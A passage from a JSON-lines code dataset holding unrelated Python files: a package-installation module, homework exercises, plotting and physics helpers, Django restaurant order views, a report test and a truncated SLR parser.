downloaded directly\n # using download_file\n deb_packages = [p for p in package_names if urlparse(p).scheme]\n apt_packages = [p for p in package_names if not urlparse(p).scheme]\n\n # Clear out /var/cache/apt/archives\n archives = os.path.join(root, \"var\", \"cache\", \"apt\", \"archives\")\n if os.path.exists(archives):\n shutil.rmtree(archives)\n os.makedirs(archives)\n\n if len(deb_packages):\n with directory.Navigation(archives):\n _report_task(\"\"\"Downloading user-specified packages\"\"\")\n for deb in deb_packages:\n download.download_file(deb)\n\n # Now use apt-get install -d to download the apt_packages and their\n # dependencies, but not install them\n if len(apt_packages):\n _run_task(self._executor,\n \"\"\"Downloading APT packages and dependencies\"\"\",\n [\"apt-get\",\n \"-y\",\n \"--force-yes\",\n \"-d\",\n \"install\",\n \"--reinstall\"] + apt_packages,\n env=environment,\n detail=_format_package_list(apt_packages))\n\n # Go back into our archives directory and unpack all our packages\n with directory.Navigation(archives):\n package_files = fnmatch.filter(os.listdir(\".\"), \"*.deb\")\n for pkg in package_files:\n _run_task(self._executor,\n \"\"\"Unpacking \"\"\",\n [\"dpkg\", \"-x\", pkg, root],\n detail=os.path.splitext(os.path.basename(pkg))[0])\n\n\nclass Yum(PackageSystem):\n \"\"\"Red Hat Packaging System.\"\"\"\n\n def __init__(self,\n release,\n arch,\n executor):\n \"\"\"Initialize Yum with release and executor.\"\"\"\n del arch\n del release\n\n super(Yum, self).__init__()\n self._executor = executor\n\n def add_repositories(self, repos):\n \"\"\"Add a repository to the central packaging system.\"\"\"\n with tempdir.TempDir() as download_dir:\n with directory.Navigation(download_dir):\n for repo in repos:\n repo_file = download.download_file(repo)\n # Create a bash script to copy the downloaded repo file\n # over to /etc/yum/repos.d\n with tempfile.NamedTemporaryFile() as bash_script:\n copy_cmd = (\"cp \\\"{0}\\\"\"\n \"/etc/yum/repos.d\").format(repo_file)\n bash_script.write(six.b(copy_cmd))\n bash_script.flush()\n self._executor.execute_success([\"bash\",\n bash_script.name])\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n if len(package_names):\n _run_task(self._executor,\n \"\"\"Install packages\"\"\",\n [\"yum\", \"install\", \"-y\"] + package_names,\n detail=_format_package_list(package_names))\n\n\ndef extract_tarfile(name):\n \"\"\"Extract a tarfile.\n\n We attempt to do this in python, but work around bugs in the tarfile\n implementation on various operating systems.\n \"\"\"\n # LZMA extraction in broken on Travis-CI with OSX. Shell out to\n # tar instead.\n if platform.system() == \"Darwin\" and os.path.splitext(name)[1] == \".xz\":\n proc = subprocess.Popen([\"tar\", \"-xJvf\", name],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n (stdout, stderr) = proc.communicate()\n ret = proc.wait()\n\n if ret != 0:\n raise RuntimeError(\"\"\"Extraction of {archive} failed \"\"\"\n \"\"\"with {ret}\\n{stdout}\\n{stderr}\"\"\"\n \"\"\"\"\"\".format(archive=name,\n ret=ret,\n stdout=stdout.decode(),\n stderr=stderr.decode()))\n return\n\n with tarfile.open(name=name) as tarfileobj:\n tarfileobj.extractall()\n\n\nclass Brew(PackageSystem):\n \"\"\"Homebrew packaging system for OS X.\"\"\"\n\n def __init__(self, executor):\n \"\"\"Initialize homebrew for executor.\"\"\"\n super(Brew, self).__init__()\n self._executor = executor\n\n def add_repositories(self, repos):\n \"\"\"Add repositories as specified at repos.\n\n Adds repositories using brew tap.\n \"\"\"\n for repo in repos:\n _run_task(self._executor,\n \"\"\"Adding repository {0}\"\"\".format(repo),\n [\"brew\", \"tap\", repo])\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n from six.moves import shlex_quote # suppress(import-error)\n from six.moves.urllib.parse import urlparse # suppress(import-error)\n\n # Drop directories which cause problems for brew taps\n hb_docs = os.path.join(self._executor.root_filesystem_directory(),\n \"share\",\n \"doc\",\n \"homebrew\")\n if os.path.exists(hb_docs):\n shutil.rmtree(hb_docs)\n\n # Separate out into packages that need to be downloaded with\n # brew and those that can be downloaded directly\n tar_packages = [p for p in package_names if urlparse(p).scheme]\n brew_packages = [p for p in package_names if not urlparse(p).scheme]\n\n if len(brew_packages):\n _run_task(self._executor,\n \"\"\"Updating repositories\"\"\",\n [\"brew\", \"update\"])\n\n _run_task(self._executor,\n \"\"\"Install packages\"\"\",\n [\"brew\", \"install\"] + brew_packages,\n detail=_format_package_list(brew_packages))\n\n for tar_pkg in tar_packages:\n _report_task(\"\"\"Install {}\"\"\".format(tar_pkg))\n with tempdir.TempDir() as download_dir:\n with directory.Navigation(download_dir):\n download.download_file(tar_pkg)\n extract_tarfile(os.path.basename(tar_pkg))\n # The shell provides an easy way to do this, so just\n # use subprocess to call out to it.\n extracted_dir = [d for d in os.listdir(download_dir)\n if d != os.path.basename(tar_pkg)][0]\n subprocess.check_call(\"cp -r {src}/* {dst}\".format(\n src=shlex_quote(extracted_dir),\n dst=self._executor.root_filesystem_directory()\n ), shell=True)\n\n\nclass Choco(PackageSystem):\n \"\"\"Chocolatey packaging system for Windows.\"\"\"\n\n def __init__(self, executor):\n \"\"\"Initialize choco for executor.\"\"\"\n super(Choco, self).__init__()\n self._executor = executor\n\n def add_repositories(self, repos):\n \"\"\"Add repositories as specified at repos.\n\n This function doesn't do anything on Choco at the moment.\n \"\"\"\n pass\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n _run_task(self._executor,\n \"\"\"Install packages\"\"\",\n [\"choco\", \"install\", \"-fy\", \"-m\"] + package_names,\n detail=_format_package_list(package_names))\n","repo_name":"polysquare/polysquare-travis-container","sub_path":"psqtraviscontainer/package_system.py","file_name":"package_system.py","file_ext":"py","file_size_in_byte":19639,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"}
+{"seq_id":"73723566313","text":"# Task 3\n\n# Extracting numbers.\n\n# Make a list that contains all integers from 1 to 100, then find all integers from the list that are divisible by 7 but not a multiple of 5, \n# and store them in a separate list. Finally, print the list.\n\n# Constraint: use only while loop for iteration\n\n\nlist_of_integers = list(range(1, 101))\n\ni = 0\nlist_len = len(list_of_integers)\nseparation_list = list()\n\nwhile i < list_len:\n\n if list_of_integers[i] % 7 == 0 and list_of_integers[i] % 5 != 0:\n separation_list.append(list_of_integers[i])\n\n i += 1\n\nprint(separation_list)","repo_name":"bodacom/beetroot","sub_path":"homeworks/lesson_6/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33147236389","text":"import numpy as np\n\ndef get_distances_between_coords(coordinates: np.ndarray) -> np.ndarray:\n \"\"\"\n Given a list of coordinates, calculate the distance between the nth and n+1st coordinates and store it in the nth ndarray of the distance.\n \n Args:\n coordinates (np.ndarray): A numpy array of shape (n, m) where n is the number of coordinates and m is the number of dimensions\n \n Returns:\n np.ndarray: A numpy array of shape (n-1,) containing the distances between the coordinates\n \"\"\"\n distances = np.empty(coordinates.shape[0] - 1)\n for i in range(coordinates.shape[0] - 1):\n distance = np.linalg.norm(coordinates[i+1] - coordinates[i])\n distances[i] = distance\n return distances\n\n\nif __name__ == '__main__':\n # Test calculate_distances\n coordinates = np.array([[0, 0, 0], [1, 1, 1], [2, 2, 2]])\n distances = get_distances_between_coords(coordinates)\n print(distances)\n # Expected output: [1.73205081 1.73205081]","repo_name":"tomohiron907/gcoordinator","sub_path":"gcoordinator/utils/coords.py","file_name":"coords.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"10761527045","text":"#!/usr/bin/env python\n\nimport math\n\n# conversion factors\nCmToUm = 10000. # length -> from cm to um\nToKe = 0.001 # charge -> from e to ke\nELossSilicon = 78. # 78 e-h pairs/um in Silicon\nTanThetaL = 0.106*3.8 # Lorentz Angle\n##################################################\n\n\n#######################################\ndef NotModuleEdge(x_local, y_local):\n######################################\n \"\"\" x_local, y_local in um \"\"\"\n\n accept = True\n if math.fabs(x_local)>7900. or math.fabs(y_local)>31150.: # or alternativley if math.fabs(x_local)>7750. or math.fabs(y_local)>31150.: #\n accept = False\n\n return accept\n\n\n##############################################################\ndef NotDeltaCandidate(cos_alpha, pitch_x, spread_x, cos_beta, pitch_y, spread_y, thickness):\n#############################################################\n \"\"\" flag delta ray candidates comparing expected and measured width of the cluster USED IT WITH CARE!\"\"\"\n \n is_delta = False\n the_alpha = math.acos(cos_alpha) \n the_beta = math.acos(cos_beta) \n # expected widths of the cluster in units of the pitch\n w_x = thickness*(math.tan(0.5*math.pi-the_alpha)+TanThetaL)/(pitch_x*CmToUm)\n w_y = thickness*(math.tan(0.5*math.pi-the_beta))/(pitch_y*CmToUm) \n\n\n if (w_x-spread_x < -1.8) or (w_x-spread_x > 0.2) or (w_y-spread_y < -2.01):\n is_delta = True\n \n return not is_delta\n\n","repo_name":"mmusich/usercode","sub_path":"AuxCode/SLHCSimPhase2/test/macros/rechit_helpers.py","file_name":"rechit_helpers.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"6890060309","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.path import Path\nimport matplotlib.patches as patches\nimport matplotlib.patheffects as PathEffects\n\ndef plot(X,Y):\n # Parameterize curve\n L = np.zeros(len(X))\n L[1:] = np.sqrt((X[1:] - X[:-1])**2 + (Y[1:] - Y[:-1])**2)\n l = L.sum()\n T = np.cumsum(L)\n X_,Y_ = [],[]\n for t in np.linspace(0,l,100):\n i = np.argmax((T-t)>=0)\n a,Xa,Ya = T[i], X[i], Y[i]\n if i > 0:\n b = T[i-1]\n Xb = X[i-1]\n Yb = Y[i-1]\n r = (t-a)/(b-a)\n x,y = (1-r)*Xa + r*Xb, (1-r)*Ya + r*Yb\n else:\n x,y = Xa,Ya\n X_.append(x)\n Y_.append(y)\n\n # Plot\n axes = plt.gca()\n\n # Iterate every 10 points\n for i in range(0,100,10):\n \n # Plot line (6 vertices)\n verts = [(X_[i+j],Y_[i+j]) for j in range(0,6)]\n codes = [Path.MOVETO ] + [Path.LINETO ]*(6-1)\n path = Path(verts, codes)\n\n # Outer \n patch = patches.PathPatch(path, facecolor='none', lw=8.0, transform=axes.transData)\n patch.set_path_effects([PathEffects.Stroke(capstyle='round', foreground='r')])\n axes.add_patch(patch)\n \n # Inner\n patch = patches.PathPatch(path, facecolor='none', lw=6.0, transform=axes.transData)\n patch.set_path_effects([PathEffects.Stroke(capstyle='round', foreground='w')])\n axes.add_patch(patch)\n\n axes.set_xlim(1.05*X.min(), 1.05*X.max())\n axes.set_ylim(1.05*Y.min(), 1.05*Y.max())\n\n\nfig = plt.figure(figsize=(8,6))\naxes = plt.subplot(111)\nX = np.linspace(0,2*np.pi, 100)\nY = np.sin(X)\nplot(X,Y)\nplt.show()\n","repo_name":"rougier/gallery","sub_path":"showcase/showcase-10.py","file_name":"showcase-10.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"72"}
+{"seq_id":"22623426366","text":"import json\nfrom django.views.generic import ListView\nfrom eCentrRest.models import Orders, Product, Orders_Product, Drink, Dish_Ingredient, Dish\nfrom django.http import JsonResponse, HttpResponse\nfrom django.template.loader import render_to_string\nfrom django.views.decorators.csrf import csrf_exempt\nfrom datetime import datetime\nfrom eCentrRest.views.tpv.view_actions import aplicate_discount\nfrom eCentrRest.views.views import is_bartender\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.utils.decorators import method_decorator\n\ndef is_today(date_to_check):\n today = datetime.now().date()\n return date_to_check.date() == today\n\n@method_decorator([login_required, user_passes_test(is_bartender)], name='dispatch')\nclass Add_product(ListView):\n model = Product\n template_name = 'eRest/bartender/add_products.html'\n\n def get_context_data(self, **kwargs):\n pedido = self.kwargs['pedido']\n context = super(Add_product, self).get_context_data(**kwargs)\n context['products'] = calcProducts(8)\n context['pedido'] = Orders.objects.get(pk=pedido).name\n context['discount'] = Orders.objects.get(pk=pedido).discount\n context['pk'] = Orders.objects.get(pk=pedido).pk\n order_product = Orders_Product.objects.filter(order_id_id=pedido)\n context['products_list'] = order_product\n context['products_list_free'] = Orders_Product.objects.filter(order_id_id=pedido, quantity_free__isnull=False)\n\n return context\n\n @login_required\n @user_passes_test(is_bartender)\n def product_list(request, state):\n products = calcProducts(state)\n\n return HttpResponse(render_to_string('eRest/bartender/filter_products.html', {\n 'products': products,\n }))\n\n @login_required\n @user_passes_test(is_bartender)\n def add_item(request, extra):\n products = Product.objects.filter(pk=extra)\n\n return HttpResponse(render_to_string('eRest/bartender/add_list_products.html', {\n 'products': products,\n }))\n\n\n# Guardar lista de productos pedido\n@login_required\n@user_passes_test(is_bartender)\n@csrf_exempt\ndef save_order(request):\n productos = json.loads(request.body)['productos']\n order_id = int(json.loads(request.body)['orders_id'])\n\n input_string = Orders.objects.get(pk=order_id).discount\n\n discount = aplicate_discount(input_string)\n\n total_price = 0\n price_discount = 0\n state = 1\n flag = True\n # Crear instancias de Producto asociadas al pedido\n for producto in productos:\n product_id = int(producto['product_id'])\n quantity = int(producto['quantity'])\n\n product = Product.objects.get(pk=product_id)\n\n if quantity > 0:\n try:\n # Buscar si ya existe este producto en la orden\n order_product, created = Orders_Product.objects.get_or_create(\n order_id_id=order_id,\n product_id_id=product_id,\n defaults={'quantity': quantity})\n\n new_quantity = quantity\n # Si el objeto ya existía y no fue creado en la llamada anterior, actualizar la cantidad\n if not created:\n if order_product.quantity < quantity:\n flag = True\n # obtener el pedido a través del order_product\n order_not_finished = order_product.order_id\n # cambiar el estado de finished_dishes a False\n order_not_finished.finished_dishes = False\n # guardar el cambio\n order_not_finished.save()\n\n update_quantity = quantity - order_product.quantity\n calcQuantityProduct(product, update_quantity)\n if order_product.finished:\n new_quantity = (quantity - order_product.quantity)\n order_product.finished = False\n order_product.preparing = False\n if order_product.preparing:\n new_quantity = new_quantity + (order_product.new_quantity - order_product.quantity)\n order_product.preparing = True\n\n if order_product.quantity > quantity:\n if flag is not True:\n state = order_product.order_id.state\n update_quantity = quantity - order_product.quantity\n calcQuantityProduct(product, update_quantity)\n\n order_product.new_quantity = new_quantity\n order_product.quantity = quantity\n order_product.save()\n\n else:\n calcQuantityProduct(product, quantity)\n order_product.new_quantity = quantity\n order_product.save()\n\n # Calcular el precio total basado en la cantidad y el precio del producto\n total_price += order_product.quantity * product.price\n # Calcular el precio total basado en la cantidad y el precio del producto\n if order_product.quantity_free is not None:\n price_discount -= order_product.quantity_free * product.price\n\n except Exception as e:\n response = {\n 'success': False,\n 'message': f'Error al guardar el pedido: {str(e)}'\n }\n return JsonResponse(response)\n\n if discount['type'] == '€':\n total_price = round(total_price + (price_discount - discount['value']), 2)\n\n if discount['type'] == '%':\n discountArt = round(total_price + price_discount, 2)\n total_price = discountArt - (discountArt * discount['value'])\n\n # Actualizar el precio y estado en la tabla Order\n Orders.objects.filter(pk=order_id).update(price=total_price, state=state)\n\n # Realizar cualquier otra acción o renderizar una respuesta\n response = {\n 'success': True,\n 'message': 'Pedido guardado exitosamente',\n 'redirect_url': '/pedidos/'\n }\n\n return JsonResponse(response)\n\n\ndef calcProducts(state):\n dishs = Dish.objects.all()\n drinks = Drink.objects.all()\n productsDrink = []\n productsDish = []\n for drink in drinks:\n if drink.stock < 1:\n productsDrink.append(drink.pk)\n for dish in dishs:\n productsDish += calcDish(dish)\n\n productsPks = productsDrink + productsDish\n\n if 0 <= state < 8:\n product = Product.objects.exclude(pk__in=productsPks).order_by('state', 'name')\n products = product.filter(state=state)\n else:\n products = Product.objects.exclude(pk__in=productsPks).order_by('state', 'name')\n\n context = products\n return context\n\n\ndef calcDish(dish):\n dish_ingredient = Dish_Ingredient.objects.filter(dish_id=dish.pk)\n productsDish = []\n dishBool = False\n for dish_ing in dish_ingredient:\n total_stock = dish_ing.ingredient_id.stock * dish_ing.ingredient_id.quantity\n total_dish = round(total_stock / dish_ing.quantity)\n\n if total_dish < 1:\n dishBool = True\n\n if dishBool is True:\n productsDish.append(dish.pk)\n\n return productsDish\n\n\ndef calcQuantityProduct(product, quantity):\n if product.product_type == 'Drink':\n quantity_update = (Drink.objects.get(product_id=product.pk).stock - quantity)\n Drink.objects.filter(product_id=product.pk).update(stock=quantity_update)\n\n else:\n dish = Dish.objects.get(product_id=product.pk)\n dish_ingredients = Dish_Ingredient.objects.filter(dish_id_id=dish.pk)\n for dish_ing in dish_ingredients:\n new_stock = (dish_ing.quantity / dish_ing.ingredient_id.quantity)\n new_stock = round((new_stock*quantity), 2)\n\n dish_ing.ingredient_id.stock = round((dish_ing.ingredient_id.stock - new_stock), 2)\n dish_ing.ingredient_id.save()\n","repo_name":"aaron-at97/TFG-Centralitzacio-informatica","sub_path":"eCentrRest/views/tpv/view_orders.py","file_name":"view_orders.py","file_ext":"py","file_size_in_byte":8065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"7223076837","text":"a, b, c = input().split()\na = float(a)\nb = float(b)\nc = float(c)\ntriangulo = False\nif((abs(b - c) < a < b + c) and (abs(a - c) < b < a + c) and (abs(a - b) < c < a + b)):\n triangulo = True\n\nif(triangulo):\n print(f'Perimetro = {a + b + c:.1f}')\nelse:\n print(f'Area = {((a + b) * c) / 2:.1f}')\n","repo_name":"renan-rs/UriOnlineJudge-Beecrowd","sub_path":"Python/1043/1043.py","file_name":"1043.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"185103409","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport runner # noqa\n\nfrom core.testcase import TestCase, main\nfrom core.types import Offer, Model, Opinion\n\n\nclass T(TestCase):\n @classmethod\n def prepare(cls):\n cls.settings.report_subrole = 'goods'\n cls.index.models += [\n Model(\n title='model_without_histogram',\n hyperid=300,\n opinion=Opinion(total_count=10, rating=4.0, precise_rating=4.0),\n ),\n Model(\n title='model_with_histogram',\n hyperid=301,\n opinion=Opinion(rating_histogram=[0, 1, 2, 3, 4], total_count=10, rating=4.0, precise_rating=4.0),\n ),\n ]\n\n cls.index.offers += [\n Offer(title='offer_without_histogram', hyperid=300),\n Offer(title='offer_with_histogram', hyperid=301),\n ]\n\n def test_rating_histogram(self):\n self.assertFragmentIn(\n self.report.request_json('place=prime&text=offer_without_histogram'),\n {\"model\": {\"id\": 300, \"opinions\": 10, \"preciseRating\": 4, \"rating\": 4}},\n )\n self.assertFragmentIn(\n self.report.request_json('place=prime&text=offer_with_histogram'),\n {\n \"model\": {\n \"id\": 301,\n \"opinions\": 10,\n \"preciseRating\": 4,\n \"rating\": 4,\n \"ratingHistogram\": [0, 1, 2, 3, 4],\n }\n },\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_model_rating_histogram.py","file_name":"test_model_rating_histogram.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"34151004595","text":"def numCells(grid):\n \n res = 0\n for i in range(len(grid)):\n for k in range (len(grid[0])):\n val = grid[i][k]\n flag = 1\n for ii in range (max(0,i-1),min(len(grid),i+2)):\n for kk in range(max(0,k-1),min(len(grid[0]),k+2)):\n if (ii,kk)!=(i,k) and val<= grid[ii][kk] :\n flag=0\n break \n if flag == 0:\n break\n else:\n res+=1\n return res\n","repo_name":"VGandhi27/HackerRank-Certification-Basics","sub_path":"Dominant_Cells.py","file_name":"Dominant_Cells.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"21530786122","text":"sueldosmañana=[]\nprint(\"Sueldos turno mañana: \")\n\nfor x in range (4):\n valor=float(input(\"Ingresa sueldo: \"))\n sueldosmañana.append(valor)\n\nsueldostarde=[]\nprint(\"Sueldos turno tarde: \")\n\nfor x in range (4):\n valor=float(input(\"Ingresa sueldo: \"))\n sueldostarde.append(valor)\n\nprint(f\"Turno mañana: {sueldosmañana}\")\nprint(f\"Turno tarde: {sueldostarde}\")\n","repo_name":"SantanaLara11/Trabajos-2do-semestre","sub_path":"Evidencia 51_lista_turno.py","file_name":"Evidencia 51_lista_turno.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39440878752","text":"#!/usr/bin/env python3\n\n# Given an integer, b, print the following values for each integer i\n# from 1 to n:\n\n# 1 Decimal\n# 2 Octal\n# 3 Hexadecimal (capitalized)\n# 4 Binary\n\n# The four values must be printed on a single line in\n# the order specified above for each i from 1 to n.\n# Each value should be space-padded to match the width of the binary value of n\n\n\ndef print_formatted(number):\n # your code goes here\n for i in range(1, n+1):\n print(\"%d %s %s %s\" % (\n i,\n oct(i).split('0o')[-1],\n hex(i).split('0x')[-1].capitalize(),\n bin(i).split('0b')[-1]))\n\n\nif __name__ == '__main__':\n n = int(input())\n print_formatted(n)\n","repo_name":"hrishikeshtak/Coding_Practises_Solutions","sub_path":"hackerrank/Python/Strings/String_Formatting.py","file_name":"String_Formatting.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26651400180","text":"from LexicalAnalyzer.model.Token import Token\nfrom LexicalAnalyzer.analyzer.LexicalAnalyzer import LexicalAnalyzer\nfrom math import log10, floor\nimport os\nTABLE = True\nLIVE = False\nALCINO = True\n\nclass SLRParser:\n token = None\n tokens = []\n grammar = {}\n grammar_follow = {}\n terminals = set()\n non_terminals = set()\n tree = []\n gotos = {}\n canonical = []\n table = {}\n tree_pointer = 0\n stack_history = []\n lexicalAnalyzer = None\n verdict = False\n ambiguity = []\n\n def __init__(self, lexicalAnalyzer, grammar_path):\n self.lexicalAnalyzer = lexicalAnalyzer\n self.tokens = []\n self.next_token()\n try:\n self.read_grammar(open(grammar_path, 'r', encoding=\"utf-8\"))\n except Exception as e:\n print(e, self.grammar)\n for n in self.non_terminals:\n self.grammar_follow[n] = sorted(self.follow(n, set()))\n\n def __str__(self):\n string = \"\"\n\n string += \"Tokens:\\n\"\n for token in self.tokens:\n string += str(token) + \"\\n\"\n string += '\\n'\n\n if self.ambiguity:\n string += \"Ambiguity:\\n\"\n for ambiguity in self.ambiguity:\n string += str(ambiguity) + '\\n'\n string += '\\n'\n\n string += \"Grammar:\\n\"\n for rule in self.grammar:\n string += \"%11s\" % rule + \" = \"\n if rule != 'S':\n for i, production in enumerate(self.grammar[rule]):\n if i: string += \" | \"\n string += ' '.join(production)\n else:\n string += self.grammar[rule]\n string += '\\n'\n string += '\\n'\n\n string += \"Follow:\\n\"\n for n in self.non_terminals:\n string += \"follow(%s) = \" % n + str(self.grammar_follow[n]) + '\\n'\n string += '\\n'\n\n # string += \"Canonical:\\n\"\n # for i, state in enumerate(self.canonical):\n # string += \"I_%d = \" % i + str(state) + '\\n'\n # string += '\\n'\n\n if TABLE:\n string += \"SLR Table:\\n\"\n columns = sorted(self.terminals) + [\"EOF\"] + sorted(self.non_terminals)\n biggest_cell = max(len(i) for i in columns)\n for row in self.table:\n for column in self.table[row]:\n cell = self.table[row][column]\n biggest_cell = max(biggest_cell, len(\" \".join(cell)))\n string += \" \"*(3+floor(log10(len(self.table)))) + \"|\" + \"|\".join([c.center(biggest_cell, ' ') for c in columns]) + '\\n'\n for i in range(len(self.table)):\n index = \"I_%d\" % i\n string += str(index).center(2+floor(log10(len(self.table))), ' ') + \"|\" + \"|\".join([(\" \".join(self.table[index][c])).center(biggest_cell, ' ') for c in columns]) + '\\n'\n string += '\\n'\n\n string += \"Stack:\\n\"\n for step in self.stack_history:\n string += str(step) + '\\n'\n string += '\\n'\n\n if self.verdict:\n string += \"Tree:\\n\"\n string += self.tree_to_string()\n\n string += \"Verdict: \" + \"Accepted\" if self.verdict else \"Rejected\" + '\\n'\n\n return string\n\n def tree_to_string(self):\n self.tree = [[self.grammar['S']]] + self.tree\n self.tree_pointer, level_tree, level_pointer = 0, {}, {}\n self.tree_to_level_tree(0, level_tree)\n for l in sorted(level_tree):\n level_tree[l].reverse()\n level_pointer[l] = 0\n new_tree = []\n self.level_tree_to_tree(0, level_pointer, level_tree, new_tree)\n self.tree, self.tree_pointer = new_tree, 0\n return self.tree_to_string_util(0)\n def tree_to_level_tree(self, depth, level_tree):\n if depth not in level_tree: level_tree[depth] = []\n level_tree[depth] += [self.tree[self.tree_pointer]]\n for element in self.tree[self.tree_pointer]:\n if (element in self.non_terminals):\n self.tree_pointer += 1\n self.tree_to_level_tree(depth + 1, level_tree)\n def level_tree_to_tree(self, depth, level_pointer, level_tree, new_tree):\n if depth not in level_tree or level_pointer[depth] >= len(level_tree[depth]): return\n new_tree += [level_tree[depth][level_pointer[depth]]]\n for element in level_tree[depth][level_pointer[depth]]:\n if (element in self.non_terminals):\n self.level_tree_to_tree(depth + 1, level_pointer, level_tree, new_tree)\n level_pointer[depth] += 1\n def tree_to_string_util(self, depth):\n tree_string = \"\"\n for element in self.tree[self.tree_pointer]:\n tree_string += '\\t'*depth + str(element) + '\\n'\n if (element in self.non_terminals):\n self.tree_pointer += 1\n tree_string += self.tree_to_string_util(depth + 1)\n return tree_string\n\n def save(self, folder):\n try: os.mkdir(folder)\n except: pass\n\n tokens = open(folder + \"tokens\", \"w\")\n for token in self.tokens:\n print(token, file=tokens)\n tokens.close()\n\n stack = open(folder + \"stack\", \"w\")\n for step in self.stack_history:\n print(step, file=stack)\n stack.close()\n\n follow = open(folder + \"follow\", \"w\")\n for n in self.non_terminals:\n print(\"follow(%s) =\" % n, self.grammar_follow[n], file=follow)\n follow.close()\n\n canonical = open(folder + \"canonical\", \"w\")\n for i, state in enumerate(self.canonical):\n print(\"I_%d =\" % i, state, file=canonical)\n canonical.close()\n\n table = open(folder + \"table\", \"w\")\n columns = sorted(self.terminals) + [\"EOF\"] + sorted(self.non_terminals)\n biggest_cell = max(len(i) for i in columns)\n for row in self.table:\n for column in self.table[row]:\n cell = self.table[row][column]\n biggest_cell = max(biggest_cell, len(\" \".join(cell)))\n print(\" \"*(3+floor(log10(len(self.table)))) + \"|\" + \"|\".join([c.center(biggest_cell, ' ') for c in columns]), file=table)\n for i in range(len(self.table)):\n index = \"I_%d\" % i\n print(str(index).center(3+floor(log10(len(self.table))), ' ') + \"|\" + \"|\".join([(\" \".join(self.table[index][c])).center(biggest_cell, ' ') for c in columns]), file=table)\n table.close()\n\n tree = open(folder + \"tree\", \"w\")\n print(self.tree_to_string(), file=tree)\n print(\"\\nVerdict: \" + \"Accepted\" if self.verdict else \"Rejected\", file=tree)\n tree.close()\n\n def read_grammar(self, grammar_file):\n self.grammar['S'] = grammar_file.readline().strip('\\n')\n line = grammar_file.readline()\n while line:\n left, right = line.split('=')\n left = left.strip(' ')\n if left not in self.grammar: self.grammar[left] = []\n self.non_terminals.add(left)\n for production in right.split('|'):\n elements = production.split()\n for element in elements:\n if (element[0] == '\\'' and element != '\\'e\\''): self.terminals.add(element)\n self.grammar[left] += [elements]\n line = grammar_file.readline()\n while line == '\\n': line = grammar_file.readline()\n\n def first(self, production, visited):\n if production == ['e']: return ['e']\n if tuple(production) in visited: return []\n visited.add(tuple(production))\n first_set, epis = set(), 0\n for element in production:\n doneAll = True\n if element not in self.non_terminals:\n first_set.add(element)\n break\n elif ['e'] in self.grammar[element]: epis, doneAll = epis + 1, False\n if element in self.non_terminals:\n inside_epi = False\n for productions in self.grammar[element]:\n first_minus_epi = self.first(productions, visited)\n first_set.update(first_minus_epi)\n if 'e' in first_minus_epi:\n inside_epi = True\n first_set.remove('e')\n if not inside_epi: break\n else: epis += done\n else:\n if epis >= len(production): first_set.add('e')\n return first_set\n\n def follow(self, X, visited):\n follow_set = set()\n if (X == self.grammar['S']): follow_set.add(\"EOF\")\n for A in self.non_terminals:\n for production in self.grammar[A]:\n if (X not in production): continue\n is_last = False\n for i, element in enumerate(production):\n if (element != X): continue\n is_last = i == len(production) - 1\n if (i < len(production) - 1):\n first_minus_epi = self.first(production[i + 1:], set())\n follow_set.update(first_minus_epi)\n if ('e' in first_minus_epi): is_last = True\n if (is_last):\n if (A == X): continue\n if (A not in visited):\n visited.add(A)\n follow_set.update(self.grammar_follow[A] if A in self.grammar_follow else self.follow(A, visited))\n if ('e' in follow_set): follow_set.remove('e')\n return follow_set\n\n def closure(self, production_block, visited):\n closure_set = set()\n if tuple(production_block) in visited: return closure_set\n visited.add(tuple(production_block))\n\n closure_set.add(production_block)\n dot, production = production_block[0], production_block[1][2]\n if dot < len(production) and production[dot] in self.non_terminals:\n for inter_production in self.grammar[production[dot]]:\n inter_production_block = (0, (production[dot], \"=\", tuple(inter_production)))\n closure_set.update(self.closure(inter_production_block, visited))\n return sorted(closure_set)\n\n def goto(self, state, symbol):\n new_state = []\n for dot, production in state:\n if dot >= len(production[2]) or production[2][dot] != symbol or production[2][0] == 'e': continue\n new_production_block = ((dot + 1), (production))\n closure_set = self.closure(new_production_block, set())\n for production_block in closure_set:\n if production_block not in new_state: new_state += [production_block]\n return new_state\n\n def get_symbols(self, closure_set):\n symbols = set()\n for dot, production in closure_set:\n if dot < len(production[2]): symbols.add(production[2][dot])\n return symbols\n\n def build_canonical(self):\n self.canonical += [self.closure((0, (\"S'\", \"=\", tuple([self.grammar['S']]) )), set())]\n i = 0\n 